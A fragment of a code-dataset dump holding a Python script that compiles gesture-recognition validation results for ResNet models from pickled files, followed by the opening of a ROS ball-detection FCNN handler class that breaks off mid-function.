"cbdf6034717b625cd75819a44c18acfe9ee2f60c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 16, "max_forks_repo_forks_event_min_datetime": "2017-12-02T22:23:06.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-19T09:10:12.000Z", "avg_line_length": 40.582781457, "max_line_length": 105, "alphanum_fraction": 0.6295691906, "include": true, "reason": "import numpy", "num_tokens": 1434, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.19436781568545952, "lm_q1q2_score": 0.09946123870632836}}
{"text": "import subprocess\n\nfrom handcam.ltt.util.TFTools import (\n    _DatasetInitializerHook,\n    shuffle_dataset,\n    per_sequence_standardization,\n    per_sequence_standardization_rgbd,\n)\n\nimport tensorflow as tf\nimport glob\nimport sys\nimport numpy as np\nimport six\nimport os\nimport pickle\nimport datetime\n\n# from handcam.ltt.network.model.Wide_ResNet import wide_resnet_tf_depth as resnet_model_rgbd\nfrom handcam.ltt.network.model.Wide_ResNet import wide_resnet_tf as resnet_model\nfrom handcam.ltt.network.model.RNNModel import LSTMModel as lstm_model\nfrom handcam.ltt.util.Utils import AttrDict, handcam_gesture_spotting_acc\n\nmodels_to_eval = {\n    \"/media/luke/hdd-3tb/models/handcam/split0/sequence_resnet-18/rgbd-imu/train/2018-09-05/23:33\": None,\n    \"/media/luke/hdd-3tb/models/handcam/split1/sequence_resnet-18/rgbd-imu/train/2018-09-06/02:41\": None,\n    \"/media/luke/hdd-3tb/models/handcam/split2/sequence_resnet-18/rgbd-imu/train/2018-09-06/05:56\": None,\n    \"/media/luke/hdd-3tb/models/handcam/split3/sequence_resnet-18/rgbd-imu/train/2018-09-06/08:51\": None,\n    \"/media/luke/hdd-3tb/models/handcam/split4/sequence_resnet-18/rgbd-imu/train/2018-09-06/11:48\": None,\n    \"/media/luke/hdd-3tb/models/handcam/split5/sequence_resnet-18/rgbd-imu/train/2018-09-06/16:19\": None,\n    \"/media/luke/hdd-3tb/models/handcam/split6/sequence_resnet-18/rgbd-imu/train/2018-09-06/18:59\": None,\n    \"/media/luke/hdd-3tb/models/handcam/split7/sequence_resnet-18/rgbd-imu/train/2018-09-06/21:20\": None,\n    \"/media/luke/hdd-3tb/models/handcam/split8/sequence_resnet-18/rgbd-imu/train/2018-09-07/00:59\": None,\n    \"/media/luke/hdd-3tb/models/handcam/split9/sequence_resnet-18/rgbd-imu/train/2018-09-07/03:36\": None\n    # '/media/luke/hdd-3tb/models/handcam/split0/sequence_resnet-18/depth/frozen_train/2018-08-20/19:40': None,\n    # '/media/luke/hdd-3tb/models/handcam/split0/sequence_resnet-18/depth/train/2018-08-20/22:25': None,\n    # '/media/luke/hdd-3tb/models/handcam/split0/sequence_resnet-18/rgbd/frozen_train/2018-08-20/21:32': None,\n    # '/media/luke/hdd-3tb/models/handcam/split0/sequence_resnet-18/rgbd/train/2018-08-21/00:01': None,\n    # '/media/luke/hdd-3tb/models/handcam/split0/sequence_resnet-18/rgb/frozen_train/2018-08-20/20:22': None,\n    # '/media/luke/hdd-3tb/models/handcam/split0/sequence_resnet-18/rgb/train/2018-08-20/23:09': None,\n    # '/media/luke/hdd-3tb/models/handcam/split0/single_frames_resnet-18/depth/train/2018-08-20/18:22': None,\n    # '/media/luke/hdd-3tb/models/handcam/split0/single_frames_resnet-18/rgbd/train/2018-08-20/19:08': None,\n    # '/media/luke/hdd-3tb/models/handcam/split0/single_frames_resnet-18/rgb/train/2018-08-20/18:46': None,\n    # '/media/luke/hdd-3tb/models/handcam/split1/sequence_resnet-18/depth/frozen_train/2018-08-21/21:19': None,\n    # '/media/luke/hdd-3tb/models/handcam/split1/sequence_resnet-18/depth/train/2018-08-21/23:38': None,\n    # '/media/luke/hdd-3tb/models/handcam/split1/sequence_resnet-18/rgbd/frozen_train/2018-08-21/22:40': None,\n    # '/media/luke/hdd-3tb/models/handcam/split1/sequence_resnet-18/rgbd/train/2018-08-22/01:17': None,\n    # '/media/luke/hdd-3tb/models/handcam/split1/sequence_resnet-18/rgb/frozen_train/2018-08-21/21:57': None,\n    # '/media/luke/hdd-3tb/models/handcam/split1/sequence_resnet-18/rgb/train/2018-08-22/00:17': None,\n    # '/media/luke/hdd-3tb/models/handcam/split1/sequence_resnet-50/depth/frozen_train/2018-08-23/19:12': None,\n    # '/media/luke/hdd-3tb/models/handcam/split1/sequence_resnet-50/rgbd/frozen_train/2018-08-23/23:04': None,\n    # '/media/luke/hdd-3tb/models/handcam/split1/sequence_resnet-50/rgb/frozen_train/2018-08-23/20:16': None,\n    # '/media/luke/hdd-3tb/models/handcam/split1/single_frames_resnet-18/depth/train/2018-08-21/17:55': None,\n    # '/media/luke/hdd-3tb/models/handcam/split1/single_frames_resnet-18/rgbd/train/2018-08-21/18:44': None,\n    # '/media/luke/hdd-3tb/models/handcam/split1/single_frames_resnet-18/rgb/train/2018-08-21/18:14': None,\n    # '/media/luke/hdd-3tb/models/handcam/split1/single_frames_resnet-50/depth/train/2018-08-23/11:51': None,\n    # '/media/luke/hdd-3tb/models/handcam/split1/single_frames_resnet-50/rgbd/train/2018-08-23/13:36': None,\n    # '/media/luke/hdd-3tb/models/handcam/split1/single_frames_resnet-50/rgb/train/2018-08-23/12:32': None,\n    # '/media/luke/hdd-3tb/models/handcam/split2/sequence_resnet-18/depth/frozen_train/2018-08-22/04:11': None,\n    # '/media/luke/hdd-3tb/models/handcam/split2/sequence_resnet-18/depth/train/2018-08-22/08:31': None,\n    # '/media/luke/hdd-3tb/models/handcam/split2/sequence_resnet-18/rgbd/frozen_train/2018-08-22/06:55': None,\n    # '/media/luke/hdd-3tb/models/handcam/split2/sequence_resnet-18/rgbd/train/2018-08-22/09:59': None,\n    # '/media/luke/hdd-3tb/models/handcam/split2/sequence_resnet-18/rgb/frozen_train/2018-08-22/04:55': None,\n    # '/media/luke/hdd-3tb/models/handcam/split2/sequence_resnet-18/rgb/train/2018-08-22/08:55': None,\n    # '/media/luke/hdd-3tb/models/handcam/split2/sequence_resnet-50/depth/frozen_train/2018-08-24/04:35': None,\n    # '/media/luke/hdd-3tb/models/handcam/split2/sequence_resnet-50/rgbd/frozen_train/2018-08-24/07:02': None,\n    # '/media/luke/hdd-3tb/models/handcam/split2/sequence_resnet-50/rgb/frozen_train/2018-08-24/05:26': None,\n    # '/media/luke/hdd-3tb/models/handcam/split2/single_frames_resnet-18/depth/train/2018-08-22/02:17': None,\n    # '/media/luke/hdd-3tb/models/handcam/split2/single_frames_resnet-18/rgbd/train/2018-08-22/03:35': None,\n    # '/media/luke/hdd-3tb/models/handcam/split2/single_frames_resnet-18/rgb/train/2018-08-22/02:57': None,\n    # '/media/luke/hdd-3tb/models/handcam/split2/single_frames_resnet-50/depth/train/2018-08-24/02:08': None,\n    # '/media/luke/hdd-3tb/models/handcam/split2/single_frames_resnet-50/rgbd/train/2018-08-24/03:37': None,\n    # '/media/luke/hdd-3tb/models/handcam/split2/single_frames_resnet-50/rgb/train/2018-08-24/02:42': None,\n    # '/media/luke/hdd-3tb/models/handcam/split3/sequence_resnet-18/depth/frozen_train/2018-08-22/12:23': None,\n    # '/media/luke/hdd-3tb/models/handcam/split3/sequence_resnet-18/depth/train/2018-08-22/15:58': None,\n    # '/media/luke/hdd-3tb/models/handcam/split3/sequence_resnet-18/rgbd/frozen_train/2018-08-22/15:08': None,\n    # '/media/luke/hdd-3tb/models/handcam/split3/sequence_resnet-18/rgbd/train/2018-08-22/18:08': None,\n    # '/media/luke/hdd-3tb/models/handcam/split3/sequence_resnet-18/rgb/frozen_train/2018-08-22/13:59': None,\n    # '/media/luke/hdd-3tb/models/handcam/split3/sequence_resnet-18/rgb/train/2018-08-22/17:17': None,\n    # '/media/luke/hdd-3tb/models/handcam/split3/sequence_resnet-50/depth/frozen_train/2018-08-24/12:50': None,\n    # '/media/luke/hdd-3tb/models/handcam/split3/sequence_resnet-50/rgbd/frozen_train/2018-08-24/16:53': None,\n    # '/media/luke/hdd-3tb/models/handcam/split3/sequence_resnet-50/rgb/frozen_train/2018-08-24/14:32': None,\n    # '/media/luke/hdd-3tb/models/handcam/split3/single_frames_resnet-18/depth/train/2018-08-22/11:00': None,\n    # '/media/luke/hdd-3tb/models/handcam/split3/single_frames_resnet-18/rgbd/train/2018-08-22/11:48': None,\n    # '/media/luke/hdd-3tb/models/handcam/split3/single_frames_resnet-18/rgb/train/2018-08-22/11:16': None,\n    # '/media/luke/hdd-3tb/models/handcam/split3/single_frames_resnet-50/depth/train/2018-08-24/09:24': None,\n    # '/media/luke/hdd-3tb/models/handcam/split3/single_frames_resnet-50/rgbd/train/2018-08-24/11:23': None,\n    # '/media/luke/hdd-3tb/models/handcam/split3/single_frames_resnet-50/rgb/train/2018-08-24/10:10': None,\n    # '/media/luke/hdd-3tb/models/handcam/split4/sequence_resnet-18/depth/frozen_train/2018-08-22/20:36': None,\n    # '/media/luke/hdd-3tb/models/handcam/split4/sequence_resnet-18/depth/train/2018-08-22/23:04': None,\n    # '/media/luke/hdd-3tb/models/handcam/split4/sequence_resnet-18/rgbd/frozen_train/2018-08-22/22:14': None,\n    # '/media/luke/hdd-3tb/models/handcam/split4/sequence_resnet-18/rgbd/train/2018-08-23/01:16': None,\n    # '/media/luke/hdd-3tb/models/handcam/split4/sequence_resnet-18/rgb/frozen_train/2018-08-22/21:36': None,\n    # '/media/luke/hdd-3tb/models/handcam/split4/sequence_resnet-18/rgb/train/2018-08-23/00:10': None,\n    # '/media/luke/hdd-3tb/models/handcam/split4/sequence_resnet-50/depth/frozen_train/2018-08-24/23:00': None,\n    # '/media/luke/hdd-3tb/models/handcam/split4/sequence_resnet-50/rgbd/frozen_train/2018-08-25/04:29': None,\n    # '/media/luke/hdd-3tb/models/handcam/split4/sequence_resnet-50/rgb/frozen_train/2018-08-25/01:49': None,\n    # '/media/luke/hdd-3tb/models/handcam/split4/single_frames_resnet-18/depth/train/2018-08-22/19:11': None,\n    # '/media/luke/hdd-3tb/models/handcam/split4/single_frames_resnet-18/rgbd/train/2018-08-22/19:55': None,\n    # '/media/luke/hdd-3tb/models/handcam/split4/single_frames_resnet-18/rgb/train/2018-08-22/19:30': None,\n    # '/media/luke/hdd-3tb/models/handcam/split4/single_frames_resnet-50/depth/train/2018-08-24/19:55': None,\n    # '/media/luke/hdd-3tb/models/handcam/split4/single_frames_resnet-50/rgbd/train/2018-08-24/21:43': None,\n    # '/media/luke/hdd-3tb/models/handcam/split4/single_frames_resnet-50/rgb/train/2018-08-24/20:50': None,\n    # '/media/luke/hdd-3tb/models/handcam/split5/sequence_resnet-18/depth/frozen_train/2018-08-23/04:06': None,\n    # '/media/luke/hdd-3tb/models/handcam/split5/sequence_resnet-18/depth/train/2018-08-23/06:34': None,\n    # '/media/luke/hdd-3tb/models/handcam/split5/sequence_resnet-18/rgbd/frozen_train/2018-08-23/05:55': None,\n    # '/media/luke/hdd-3tb/models/handcam/split5/sequence_resnet-18/rgbd/train/2018-08-23/08:19': None,\n    # '/media/luke/hdd-3tb/models/handcam/split5/sequence_resnet-18/rgb/frozen_train/2018-08-23/05:13': None,\n    # '/media/luke/hdd-3tb/models/handcam/split5/sequence_resnet-18/rgb/train/2018-08-23/07:38': None,\n    # '/media/luke/hdd-3tb/models/handcam/split5/sequence_resnet-50/depth/frozen_train/2018-08-25/11:27': None,\n    # '/media/luke/hdd-3tb/models/handcam/split5/sequence_resnet-50/rgbd/frozen_train/2018-08-25/15:06': None,\n    # '/media/luke/hdd-3tb/models/handcam/split5/sequence_resnet-50/rgb/frozen_train/2018-08-25/13:11': None,\n    # '/media/luke/hdd-3tb/models/handcam/split5/single_frames_resnet-18/depth/train/2018-08-23/02:54': None,\n    # '/media/luke/hdd-3tb/models/handcam/split5/single_frames_resnet-18/rgbd/train/2018-08-23/03:39': None,\n    # '/media/luke/hdd-3tb/models/handcam/split5/single_frames_resnet-18/rgb/train/2018-08-23/03:22': None,\n    # '/media/luke/hdd-3tb/models/handcam/split5/single_frames_resnet-50/depth/train/2018-08-25/07:09': None,\n    # '/media/luke/hdd-3tb/models/handcam/split5/single_frames_resnet-50/rgbd/train/2018-08-25/09:37': None,\n    # '/media/luke/hdd-3tb/models/handcam/split5/single_frames_resnet-50/rgb/train/2018-08-25/08:35': None,\n    # '/media/luke/hdd-3tb/models/handcam/split6/sequence_resnet-18/depth/frozen_train/2018-08-23/12:15': None,\n    # '/media/luke/hdd-3tb/models/handcam/split6/sequence_resnet-18/depth/train/2018-08-23/15:13': None,\n    # '/media/luke/hdd-3tb/models/handcam/split6/sequence_resnet-18/rgbd/frozen_train/2018-08-23/13:58': None,\n    # '/media/luke/hdd-3tb/models/handcam/split6/sequence_resnet-18/rgbd/train/2018-08-23/17:53': None,\n    # '/media/luke/hdd-3tb/models/handcam/split6/sequence_resnet-18/rgb/frozen_train/2018-08-23/12:50': None,\n    # '/media/luke/hdd-3tb/models/handcam/split6/sequence_resnet-18/rgb/train/2018-08-23/16:47': None,\n    # '/media/luke/hdd-3tb/models/handcam/split6/sequence_resnet-50/depth/frozen_train/2018-08-26/00:18': None,\n    # '/media/luke/hdd-3tb/models/handcam/split6/sequence_resnet-50/rgbd/frozen_train/2018-08-26/03:24': None,\n    # '/media/luke/hdd-3tb/models/handcam/split6/sequence_resnet-50/rgb/frozen_train/2018-08-26/01:13': None,\n    # '/media/luke/hdd-3tb/models/handcam/split6/single_frames_resnet-18/depth/train/2018-08-23/10:39': None,\n    # '/media/luke/hdd-3tb/models/handcam/split6/single_frames_resnet-18/rgbd/train/2018-08-23/11:38': None,\n    # '/media/luke/hdd-3tb/models/handcam/split6/single_frames_resnet-18/rgb/train/2018-08-23/11:06': None,\n    # '/media/luke/hdd-3tb/models/handcam/split6/single_frames_resnet-50/depth/train/2018-08-25/19:42': None,\n    # '/media/luke/hdd-3tb/models/handcam/split6/single_frames_resnet-50/rgbd/train/2018-08-25/21:27': None,\n    # '/media/luke/hdd-3tb/models/handcam/split6/single_frames_resnet-50/rgb/train/2018-08-25/20:25': None,\n    # '/media/luke/hdd-3tb/models/handcam/split7/sequence_resnet-18/depth/frozen_train/2018-08-22/16:30': None,\n    # '/media/luke/hdd-3tb/models/handcam/split7/sequence_resnet-18/depth/train/2018-08-22/21:24': None,\n    # '/media/luke/hdd-3tb/models/handcam/split7/sequence_resnet-18/rgb/frozen_train/2018-08-22/18:23': None,\n    # '/media/luke/hdd-3tb/models/handcam/split7/sequence_resnet-18/rgb/train/2018-08-22/22:36': None,\n    # '/media/luke/hdd-3tb/models/handcam/split7/sequence_resnet-18/rgbd/frozen_train/2018-08-28/10:04': None,\n    # '/media/luke/hdd-3tb/models/handcam/split7/sequence_resnet-18/rgbd/train/2018-08-28/10:38': None,\n    # '/media/luke/hdd-3tb/models/handcam/split7/sequence_resnet-50/depth/frozen_train/2018-08-26/11:24': None,\n    # '/media/luke/hdd-3tb/models/handcam/split7/sequence_resnet-50/rgbd/frozen_train/2018-08-26/14:05': None,\n    # '/media/luke/hdd-3tb/models/handcam/split7/sequence_resnet-50/rgb/frozen_train/2018-08-26/12:13': None,\n    # '/media/luke/hdd-3tb/models/handcam/split7/single_frames_resnet-18/depth/train/2018-08-22/14:30': None,\n    # '/media/luke/hdd-3tb/models/handcam/split7/single_frames_resnet-18/rgb/train/2018-08-22/14:57': None,\n    # '/media/luke/hdd-3tb/models/handcam/split7/single_frames_resnet-18/rgbd/train/2018-08-28/09:21': None,\n    # '/media/luke/hdd-3tb/models/handcam/split7/single_frames_resnet-50/depth/train/2018-08-26/07:39': None,\n    # '/media/luke/hdd-3tb/models/handcam/split7/single_frames_resnet-50/rgbd/train/2018-08-26/09:30': None,\n    # '/media/luke/hdd-3tb/models/handcam/split7/single_frames_resnet-50/rgb/train/2018-08-26/08:36': None,\n    # '/media/luke/hdd-3tb/models/handcam/split8/sequence_resnet-18/depth/frozen_train/2018-08-23/00:54': None,\n    # '/media/luke/hdd-3tb/models/handcam/split8/sequence_resnet-18/depth/train/2018-08-23/03:20': None,\n    # '/media/luke/hdd-3tb/models/handcam/split8/sequence_resnet-18/rgbd/frozen_train/2018-08-23/02:27': None,\n    # '/media/luke/hdd-3tb/models/handcam/split8/sequence_resnet-18/rgbd/train/2018-08-23/04:51': None,\n    # '/media/luke/hdd-3tb/models/handcam/split8/sequence_resnet-18/rgb/frozen_train/2018-08-23/01:27': None,\n    # '/media/luke/hdd-3tb/models/handcam/split8/sequence_resnet-18/rgb/train/2018-08-23/04:08': None,\n    # '/media/luke/hdd-3tb/models/handcam/split8/sequence_resnet-50/depth/frozen_train/2018-08-26/22:18': None,\n    # '/media/luke/hdd-3tb/models/handcam/split8/sequence_resnet-50/rgbd/frozen_train/2018-08-27/02:58': None,\n    # '/media/luke/hdd-3tb/models/handcam/split8/sequence_resnet-50/rgb/frozen_train/2018-08-26/23:59': None,\n    # '/media/luke/hdd-3tb/models/handcam/split8/single_frames_resnet-18/depth/train/2018-08-22/23:20': None,\n    # '/media/luke/hdd-3tb/models/handcam/split8/single_frames_resnet-18/rgbd/train/2018-08-23/00:30': None,\n    # '/media/luke/hdd-3tb/models/handcam/split8/single_frames_resnet-18/rgb/train/2018-08-22/23:55': None,\n    # '/media/luke/hdd-3tb/models/handcam/split8/single_frames_resnet-50/depth/train/2018-08-26/19:11': None,\n    # '/media/luke/hdd-3tb/models/handcam/split8/single_frames_resnet-50/rgbd/train/2018-08-26/21:03': None,\n    # '/media/luke/hdd-3tb/models/handcam/split8/single_frames_resnet-50/rgb/train/2018-08-26/20:06': None,\n    # '/media/luke/hdd-3tb/models/handcam/split9/sequence_resnet-18/depth/frozen_train/2018-08-23/07:21': None,\n    # '/media/luke/hdd-3tb/models/handcam/split9/sequence_resnet-18/depth/train/2018-08-23/09:15': None,\n    # '/media/luke/hdd-3tb/models/handcam/split9/sequence_resnet-18/rgbd/frozen_train/2018-08-23/08:35': None,\n    # '/media/luke/hdd-3tb/models/handcam/split9/sequence_resnet-18/rgbd/train/2018-08-23/10:38': None,\n    # '/media/luke/hdd-3tb/models/handcam/split9/sequence_resnet-18/rgb/frozen_train/2018-08-23/07:58': None,\n    # '/media/luke/hdd-3tb/models/handcam/split9/sequence_resnet-18/rgb/train/2018-08-23/09:49': None,\n    # '/media/luke/hdd-3tb/models/handcam/split9/sequence_resnet-50/depth/frozen_train/2018-08-27/07:32': None,\n    # '/media/luke/hdd-3tb/models/handcam/split9/sequence_resnet-50/rgbd/frozen_train/2018-08-27/12:23': None,\n    # '/media/luke/hdd-3tb/models/handcam/split9/sequence_resnet-50/rgb/frozen_train/2018-08-27/09:29': None,\n    # '/media/luke/hdd-3tb/models/handcam/split9/single_frames_resnet-18/depth/train/2018-08-23/05:40': None,\n    # '/media/luke/hdd-3tb/models/handcam/split9/single_frames_resnet-18/rgbd/train/2018-08-23/06:58': None,\n    # '/media/luke/hdd-3tb/models/handcam/split9/single_frames_resnet-18/rgb/train/2018-08-23/06:25': None,\n    # '/media/luke/hdd-3tb/models/handcam/split9/single_frames_resnet-50/depth/train/2018-08-27/04:49': None,\n    # '/media/luke/hdd-3tb/models/handcam/split9/single_frames_resnet-50/rgbd/train/2018-08-27/06:13': None,\n    # '/media/luke/hdd-3tb/models/handcam/split9/single_frames_resnet-50/rgb/train/2018-08-27/05:31': None\n}\n\n# dict[resnet_size][seq_or_single][modality][gesture_or_accuracy]\ncompiled_results_dict = {\n    \"resnet-50\": {\"single_frames\": {}, \"sequence_frozen\": {}},\n    \"resnet-18\": {\"single_frames\": {}, \"sequence_frozen\": {}, \"sequence_end2end\": {}},\n}\n\nfor resnet_type in compiled_results_dict.keys():\n    for model_type in compiled_results_dict[resnet_type].keys():\n        for split_id in range(0, 10):\n            compiled_results_dict[resnet_type][model_type][\"split%d\" % split_id] = {}\n            if split_id == 0 and resnet_type == \"resnet-50\":\n                if model_type == \"single_frames\":\n                    compiled_results_dict[resnet_type][model_type][\n                        \"split%d\" % split_id\n                    ][\"rgb\"] = {\"accuracy\": 0.9818, \"gesture_spotting\": 0.9945}\n                    compiled_results_dict[resnet_type][model_type][\n                        \"split%d\" % split_id\n                    ][\"depth\"] = {\"accuracy\": 0.8604, \"gesture_spotting\": 0.9394}\n                    compiled_results_dict[resnet_type][model_type][\n                        \"split%d\" % split_id\n                    ][\"rgbd\"] = {\"accuracy\": 0.9813, \"gesture_spotting\": 0.9924}\n                else:\n                    compiled_results_dict[resnet_type][model_type][\n                        \"split%d\" % split_id\n                    ][\"rgb\"] = {\"accuracy\": 0.9540, \"gesture_spotting\": 0.9922}\n                    compiled_results_dict[resnet_type][model_type][\n                        \"split%d\" % split_id\n                    ][\"depth\"] = {\"accuracy\": 0.9461, \"gesture_spotting\": 0.9864}\n                    compiled_results_dict[resnet_type][model_type][\n                        \"split%d\" % split_id\n                    ][\"rgbd\"] = {\"accuracy\": 0.9602, \"gesture_spotting\": 0.9919}\n                # need to put the numbers from the paper in here, models are gone.\n                pass\n            else:\n                for modality in [\"depth\", \"rgb\", \"rgbd\"]:\n                    compiled_results_dict[resnet_type][model_type][\n                        \"split%d\" % split_id\n                    ][modality] = {\"accuracy\": None, \"gesture_spotting\": None}\n\n\n# run for each model. Load the FLAGS.pckl file to set everything up the same way as for training\nfor model_path in models_to_eval.keys():\n    checkpoint_id = models_to_eval[model_path]\n\n    if (\n        \"/tmp/luke/handcam\" not in model_path\n        and \"/media/luke/hdd-3tb\" not in model_path\n    ):\n        model_path = os.path.join(\"/tmp/luke/handcam/\", model_path)\n\n    with open(os.path.join(model_path, \"FLAGS.pckl\"), \"rb\") as f:\n        flags_dict = pickle.load(f)\n        FLAGS = AttrDict(flags_dict)  # allow attribute access to FLAGS.\n\n    # need to modify FLAGS a bit\n    FLAGS.batch_size = 1\n\n    # Sanity check FLAGS\n    if FLAGS.input_modality not in [\"rgb\", \"rgbd\", \"depth\"]:\n        raise (ValueError(\"input_modality must be one of: rgb, rgbd, depth.\"))\n    else:\n        print(FLAGS.input_modality)\n\n    if FLAGS.model_type not in [\"single_frames\", \"sequence\"]:\n        raise (ValueError(\"model_type must be one of: single_frames, sequence.\"))\n\n    if FLAGS.mode not in [\"train\", \"eval\", \"frozen_train\"]:\n        raise (ValueError(\"mode must be one of: train, eval, frozen_train\"))\n\n    if FLAGS.resnet_size not in [18, 50]:\n        raise (ValueError(\"resnet size must be one of: 18, 50\"))\n\n    with open(os.path.join(model_path, \"results.pckl\"), \"rb\") as f:\n        out_dict = pickle.load(f)\n\n    print(\n        \"per frame: %.2f\\tgesture spotting: %.2f\"\n        % (100 * out_dict[\"val_accuracy\"], 100 * out_dict[\"gesture_spotting_accuracy\"])\n    )\n\n    dict_resnet_type = \"resnet-%d\" % FLAGS.resnet_size\n    dict_model_type = FLAGS.model_type\n    if FLAGS.model_type != \"single_frames\":\n        dict_model_type = (\n            \"sequence_frozen\" if FLAGS.mode == \"frozen_train\" else \"sequence_end2end\"\n        )\n\n    dict_split_name = \"split%d\" % FLAGS.validation_split_num\n    dict_modality = FLAGS.input_modality\n\n    compiled_results_dict[dict_resnet_type][dict_model_type][dict_split_name][\n        dict_modality\n    ] = {\n        \"accuracy\": out_dict[\"val_accuracy\"],\n        \"gesture_spotting\": out_dict[\"gesture_spotting_accuracy\"],\n    }\n\n\nwith open(\"/home/luke/github/master-thesis/python/all_validations_imu.pckl\", \"wb\") as f:\n    pickle.dump(compiled_results_dict, f)\n", "meta": {"hexsha": "bd4854667e358dd33f4cd942033ce08e76347b60", "size": 21712, "ext": "py", "lang": "Python", "max_stars_repo_path": "handcam/scratch/compile_results.py", "max_stars_repo_name": "luketaverne/handcam", "max_stars_repo_head_hexsha": "e294ebf2be8b5512c8607d3c8ba3f6946f3b8e30", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-02-10T13:19:20.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-10T13:19:20.000Z", "max_issues_repo_path": "handcam/scratch/compile_results.py", "max_issues_repo_name": "luketaverne/handcam", "max_issues_repo_head_hexsha": "e294ebf2be8b5512c8607d3c8ba3f6946f3b8e30", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "handcam/scratch/compile_results.py", "max_forks_repo_name": "luketaverne/handcam", "max_forks_repo_head_hexsha": "e294ebf2be8b5512c8607d3c8ba3f6946f3b8e30", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 77.2669039146, "max_line_length": 111, "alphanum_fraction": 0.71600958, "include": true, "reason": "import numpy", "num_tokens": 7896, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.1943678133521021, "lm_q1q2_score": 0.09946123751231062}}
{"text": "import cv2\nfrom cv_bridge import CvBridge\nimport VisionExtensions\nimport numpy as np\nfrom .candidate import Candidate, CandidateFinder\nimport itertools\nimport random\nimport rospy\nfrom .live_fcnn_03 import FCNN03\n\n\nclass FcnnHandler(CandidateFinder):\n    \"\"\"\n    The :class:`.FcnnHandler` handles Fully Convolutional Neural Networks, meaning it finds and rates candidates in their output.\n    The FCNN handler runs the FCNN and manages its predictions.\n    \"\"\"\n\n    def __init__(self, config, fcnn):\n        \"\"\"\n        Initialization of :class:`.FcnnHandler`.\n\n        :param dict config: dictionary of the vision node configuration parameters\n        :param FCNN03 fcnn: a fcnn model\n        \"\"\"\n        self._image = None\n        self._fcnn = fcnn\n        self._rated_candidates = None\n        self._sorted_rated_candidates = None\n        self._top_candidate = None\n        self._fcnn_output = None\n        self._cv_bridge = CvBridge()\n\n        # init config\n        self.set_config(config)\n\n\n    def set_image(self, image):\n        \"\"\"\n        Set a image for the fcnn. This also resets the caches.\n\n        :param image: current vision image\n        :return: None\n        \"\"\"\n        self._image = image\n        self._rated_candidates = None\n        self._sorted_rated_candidates = None\n        self._top_candidate = None\n        self._fcnn_output = None\n\n\n    def set_config(self, config):\n        \"\"\"\n        Set all configuration parameters for the fcnn.\n\n        :param dict config: dictionary of the vision node configuration parameters\n        :return: None\n        \"\"\"\n        self._debug = config['ball_fcnn_publish_debug_img']\n        self._threshold = config['ball_fcnn_threshold']\n        self._expand_stepsize = config['ball_fcnn_expand_stepsize']\n        self._pointcloud_stepsize = config['ball_fcnn_pointcloud_stepsize']\n        self._min_candidate_diameter = config['ball_fcnn_min_ball_diameter']\n        self._max_candidate_diameter = config['ball_fcnn_max_ball_diameter']\n        self._candidate_refinement_iteration_count = config['ball_fcnn_candidate_refinement_iteration_count']\n\n\n    def get_candidates(self):\n        \"\"\"\n        Returns all ball candidates. This method is cached.\n\n        :return: all ball candidates\n        \"\"\"\n        # Check if a cached value exists\n        if self._rated_candidates is None:\n            # Create candidate list\n            self._rated_candidates = list()\n            # Run neural network and clustering and iterate over the given candidates\n            for candidate in self._get_raw_candidates_cpp():\n                # Get the fcnn heatmap\n                out = self.get_fcnn_output()\n                # Calculate the mean in the ROI in the heatmap\n                rating = np.mean(\n                    out[\n                        candidate.get_upper_left_y():\n                        candidate.get_upper_left_y() + candidate.get_height(),\n                        candidate.get_upper_left_x():\n                        candidate.get_upper_left_x() + candidate.get_width()]\n                ) / 255.0\n                candidate.set_rating(rating)\n                # Check if candidate is in rating threshold and size bounds\n                if self._inspect_candidate(candidate):\n                    # Add candidate to list\n                    self._rated_candidates.append(candidate)\n        return self._rated_candidates\n\n    def _inspect_candidate(self, candidate):\n        \"\"\"\n        Checks if candidates is in threshold. And in min/max diameter bounds.\n\n        :param candidate: a Ball candidate\n        :return: a boolean if the candidate satisfies these conditions\n        \"\"\"\n        # type: (Candidate) -> bool\n        return candidate.get_rating() >= self._threshold \\\n               and self._min_candidate_diameter \\\n               <= candidate.get_diameter() \\\n               <= self._max_candidate_diameter\n\n    def compute(self):\n        \"\"\"\n        Runs the neural network.\n        \"\"\"\n        # Call get candidates and drop the returned solution because it get cached for the real call\n        self.get_candidates()\n\n    def get_fcnn_output(self):\n        \"\"\"\n        Calculates the fcnn heatmap. The output gets cached.\n\n        :return: fcnn output\n        \"\"\"\n        # Check if a cached one exists\n        if self._fcnn_output is None:\n            # Resize image for fcnn\n            in_img = cv2.resize(self._image, (self._fcnn._input_shape[1], self._fcnn._input_shape[0]))\n            # Convert image to floats\n            in_img = cv2.cvtColor(in_img, cv2.COLOR_BGR2RGB).astype(np.float32) / 255.0\n            # Predict\n            out = self._fcnn.predict(list([in_img]))\n            # Reshape fcnn output\n            out = out.reshape(self._fcnn._output_shape[0], self._fcnn._output_shape[1])\n            # Convert back to uint8 dtype\n            out = (out * 255).astype(np.uint8)\n            # Resize the heatmap to match the resolution of the in comming image\n            self._fcnn_output = cv2.resize(out, (self._image.shape[1], self._image.shape[0]))\n        return self._fcnn_output\n\n    def _get_raw_candidates_cpp(self):\n        \"\"\"\n        Runs the fcnn heatmap clustering candidate detection.\n\n        :return: ball candidates\n        \"\"\"\n        start = cv2.getTickCount()\n        # Get fcnn output\n        out = self.get_fcnn_output()\n        end = cv2.getTickCount()\n        rospy.logdebug(str((end - start) / cv2.getTickFrequency()), logger_name=\"vision_fcnn_handler\")\n        start = cv2.getTickCount()\n        # Mask the heatmap with a threshold\n        r, out_bin = cv2.threshold(out, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)\n        # Run cpp vision extention to find clusters in the heatmap\n        tuple_candidates = VisionExtensions.findSpots(out_bin, self._pointcloud_stepsize, self._expand_stepsize, self._candidate_refinement_iteration_count)\n        candidates = list()\n        